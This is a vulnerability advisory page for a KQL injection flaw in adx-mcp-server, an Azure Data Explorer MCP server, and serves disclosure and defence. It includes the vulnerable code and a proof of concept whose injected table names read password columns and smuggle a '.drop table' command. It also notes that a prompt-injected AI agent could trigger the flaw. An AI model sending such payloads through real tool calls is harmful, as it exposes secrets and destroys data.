GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

PYSEC-2026-2327

Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:03
VLAI
Details

Summary

adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.

Details

The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:

Vulnerable code (permalink):

@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | getschema"          # <-- KQL injection
    result_set = client.execute(config.database, query)

@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | sample {sample_size}"  # <-- KQL injection
    result_set = client.execute(config.database, query)

@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f".show table {table_name} details"     # <-- KQL injection
    result_set = client.execute(config.database, query)

KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject: - sensitive_table | project Secret, Password | take 100 // to read arbitrary tables - Newline-separated management commands like .drop table important_data via get_table_details - Arbitrary KQL analytics queries via any of the three tools

Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.

PoC

# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
    "name": "get_table_schema",
    "arguments": {
        "table_name": "sensitive_data | project Secret, Password | take 100 //"
    }
}
print(json.dumps(tool_call, indent=2))

# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get_table_details:
tool_call_destructive = {
    "name": "get_table_details",
    "arguments": {
        "table_name": "users details\n.drop table critical_data"
    }
}
# Resulting KQL:
#   .show table users details
#   .drop table critical_data details
Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Impacted products
Name purl
adx-mcp-server pkg:pypi/adx-mcp-server
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "adx-mcp-server",
        "purl": "pkg:pypi/adx-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.0",
        "1.0.0",
        "1.0.2",
        "1.0.3",
        "1.0.5",
        "1.0.6",
        "1.0.7",
        "1.0.8",
        "1.0.9",
        "1.1.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33980",
    "GHSA-vphc-468g-8rfp"
  ],
  "details": "### Summary\n\nadx-mcp-server (\u003c= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.\n\n### Details\n\nThe MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings:\n\n**Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):\n\n```python\n@mcp.tool(...)\nasync def get_table_schema(table_name: str) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | getschema\"          # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def sample_table_data(table_name: str, sample_size: int = 10) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | sample {sample_size}\"  # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def get_table_details(table_name: str) -\u003e List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\".show table {table_name} details\"     # \u003c-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\nKQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject:\n- `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables\n- Newline-separated management commands like `.drop table important_data` via `get_table_details`\n- Arbitrary KQL analytics queries via any of the three tools\n\n**Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to \"safe\" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary.\n\n### PoC\n\n```python\n# PoC: KQL Injection via get_table_schema tool\n# The table_name parameter is injected into: f\"{table_name} | getschema\"\n\nimport json\n\n# MCP tool call that exfiltrates data from a sensitive table\ntool_call = {\n    \"name\": \"get_table_schema\",\n    \"arguments\": {\n        \"table_name\": \"sensitive_data | project Secret, Password | take 100 //\"\n    }\n}\nprint(json.dumps(tool_call, indent=2))\n\n# Resulting KQL: \"sensitive_data | project Secret, Password | take 100 // | getschema\"\n# The // comments out \"| getschema\", executing an arbitrary data query instead\n\n# Destructive example via get_table_details:\ntool_call_destructive = {\n    \"name\": \"get_table_details\",\n    \"arguments\": {\n        \"table_name\": \"users details\\n.drop table critical_data\"\n    }\n}\n# Resulting KQL:\n#   .show table users details\n#   .drop table critical_data details\n```",
  "id": "PYSEC-2026-2327",
  "modified": "2026-07-13T16:03:11.245797Z",
  "published": "2026-07-13T14:36:45.388458Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pab1it0/adx-mcp-server/security/advisories/GHSA-vphc-468g-8rfp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33980"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pab1it0/adx-mcp-server/commit/0abe0ee55279e111281076393e5e966335fffd30"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pab1it0/adx-mcp-server"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/adx-mcp-server"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-vphc-468g-8rfp"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.